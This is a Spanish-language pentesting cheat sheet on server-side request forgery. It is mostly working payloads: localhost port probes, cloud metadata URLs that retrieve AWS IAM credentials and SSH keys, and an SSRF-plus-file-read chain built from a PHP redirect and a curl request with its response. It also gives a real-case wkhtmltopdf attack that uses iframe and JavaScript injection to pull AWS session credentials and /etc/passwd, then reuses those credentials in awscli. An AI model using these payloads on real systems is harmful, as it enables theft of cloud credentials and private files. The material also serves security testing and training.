Server-Side Request Forgery (SSRF)

Definición

Un SSRF (Server-Side Request Forgery) es una vulnerabilidad que permite a un atacante hacer que un servidor realice solicitudes no autorizadas, tanto a recursos internos como externos. Por ejemplo, si una aplicación permite al usuario enviar una URL, un atacante podría manipularla para acceder a servicios internos o recursos protegidos del servidor.

Impacto:

  • Enumeración de puertos: Probar puertos abiertos en servicios internos del servidor o la red (ej. localhost:80, localhost:443, etc.).

  • Acceso a recursos internos: Acceder a servicios internos que no están expuestos externamente, como bases de datos, APIs internas, o servicios administrativos.

  • Escaneo de IPs internas: Realizar escaneos de redes internas (por ejemplo, acceder a direcciones IP privadas de la red local).

  • Acceder a metadatos de la nube: Si el servidor está en la nube, puede permitirle al atacante acceder a los metadatos del servidor, que pueden contener información sensible (como credenciales).

  • Ejecutar comandos maliciosos: En algunos casos, el SSRF puede ser utilizado para inyectar comandos maliciosos y ejecutar acciones no autorizadas en el servidor.

Enumeración de puertos

  • Usandolocalhost

    http://localhost:80
    http://localhost:22
    https://localhost:443
  • Usando127.0.0.1

    http://127.0.0.1:80
    http://127.0.0.1:22
    https://127.0.0.1:443
  • Usando0.0.0.0

    http://0.0.0.0:80
    http://0.0.0.0:22
    https://0.0.0.0:443

Cloud metadata

AWS

Info: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

http://169.254.169.254/latest/user-data/iam/security-credentials/ > return the ROLE-NAME, extract & reuse it on the next request
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE-NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/ > return the ROLE-NAME, extract & reuse it on the next request
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
http://169.254.169.254/latest/meta-data
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.170.2/v2/credentials/[UID]

GCP

Info: https://cloud.google.com/compute/docs/metadata

Requiere el header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"


http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env

Azure

Info: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service

Requiere el header "Metadata: true"

http://169.254.169.254/metadata/v1/maintenance 
http://169.254.169.254/metadata/instance?api-version=2017-04-02 
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

Combinación SSRF + XSS

Cuando el SSRF no tiene ningún impacto crítico, la red está segmentada y no se puede acceder a otras máquinas y no permite extraer archivos del servidor, podemos intentar actualizar el SSRF a un XSS, incluyendo un archivo SVG que contenga código Javascript.

https://vulnerableserver.com/ssrf.php?url=http://razortest.com/poc.svg

Combinación SSRF + LFI

Crear un archivo php:

<?php
header('Location: file:///Windows/win.ini');
?>

Levantar un server en php:

php -S 0.0.0.0:80

Lanzamos un curl donde en el body agregamos la url a nuestro servidor:

curl -i -s -k -X POST --data-binary 'url=192.168.45.213%2Findex.php' 'http://192.168.209.177/Process.php'

HTTP Response:

HTTP/1.1 302 Found
Date: Thu, 09 May 2024 23:28:01 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Location: /pdfs/2251732e06fddc00474e3f6ccd514164.pdf
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Luego visitamos la siguiente URL del PDF donde podemos ver a nuestro win.ini:

http://192.168.209.177/pdfs/2251732e06fddc00474e3f6ccd514164.pdf

Otros payloads:

<?php
header('Location: file:///home/r4z0r/.ssh/id_rsa'); 
?>

Aquí ya queda sobre nuestra creatividad que archivo queremos leer internamente, como un /etc/passwd o ir por otros archivos.

Wkhtmltopdf - Pentest - Caso Real (SSRF + LFI)

Pasemos al caso real, donde nos topamos con la versión 0.12.5:

A través de exiftool analizo el PDF que generaba la plataforma:

exiftool

En la petición donde se generaba el pdf, viajaba un campo HTML, donde podíamos insertar código HTML.

Inyectando iframe

Al descargar el archivo PDF generado vemos el iframe que realizó una solicitud a mi Burp Collaborator confirmando el SSRF:

SSRF en PDF

Luego intentamos obtener información de la metadata de la instancia de AWS:

// Ruta para consultar la metadata de la instancia
http://169.254.169.254/latest/meta-data

// Payload completo
<iframe src=http://169.254.169.254/latest/meta-data/ width=500 height=500>

// Payload final
<iframe src=http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE-NAME}

Por último, nos traemos la información necesaria para autenticarnos a AWS:

Exfiltrando metadata AWS

Finalmente nos autenticamos con awscli. El archivo de configuración se encuentra en `~/.aws/credentials` y debería tener el siguiente formato:

[default]
aws_access_key_id = YOUR_ACCESS_KEY_ID
aws_secret_access_key = YOUR_SECRET_ACCESS_KEY
aws_session_token = TOKEN # esta es la que agregaremos

Recordar que es una credencial temporal, y debemos agregar el token de sesión.

De aquí ya empieza la enumeración de AWS que ya es otra historia. Pero la cosa no termina aquí, esta librería también era vulnerable a LFI:

// Payload LFI
<!DOCTYPE html><head><meta http-equiv='Content-Type' content='text/html; charset=UTF-8'><body><script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)}; x.open('GET','file:///etc/passwd');x.send();</script></body>"}
LFI

Recursos

Última actualización